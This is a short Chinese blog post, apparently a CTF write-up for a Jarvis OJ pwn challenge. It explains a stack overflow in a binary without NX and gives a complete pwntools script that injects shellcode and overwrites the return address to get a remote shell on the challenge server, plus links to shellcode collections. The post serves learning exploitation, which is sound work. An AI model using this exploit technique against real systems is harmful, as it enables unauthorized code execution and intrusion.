100分的pwn
简单查看一下,果然还是比较简单的
放到ida中查看一下,有明显的溢出函数,并且在函数中打印出了字符串的地址,并且字符串比较长,没有NX保护
所以我们很容易想到构造shellcode,在栈中执行shellcode拿shell权限
shellcode是一段恶意代码,在没有NX保护程序中,可能作为输入而写进栈,之后运行到此处时可以执行shellcode指令从而达到目的
所以我们先截取buf的地址,在buf中写入夺shell的shellcode,之后再用buf的地址覆盖函数返回地址
从而执行shellcode获取目标shell
从abo偷来栈帧示意图一张图,如有侵权,打死我也不删
#!user/bin/env python # encoding:utf-8 from pwn import * io = remote("pwn2.jarvisoj.com",9877) shellcode = asm(shellcraft.sh()) buffer=io.recvline()[14:-2] buf_addr = int(buffer,16) payload = shellcode + '\x90' * (0x88+0x4-len(shellcode)) + p32(buf_addr) io.sendline(payload) io.interactive() io.close()
记两个空手套shellcode的网站
http://shell-storm.org/shellcode/
https://www.exploit-db.com/shellcode/
作者:辣鸡小谱尼
出处:http://www.cnblogs.com/ZHijack/
如有转载,荣幸之至!请随手标明出处;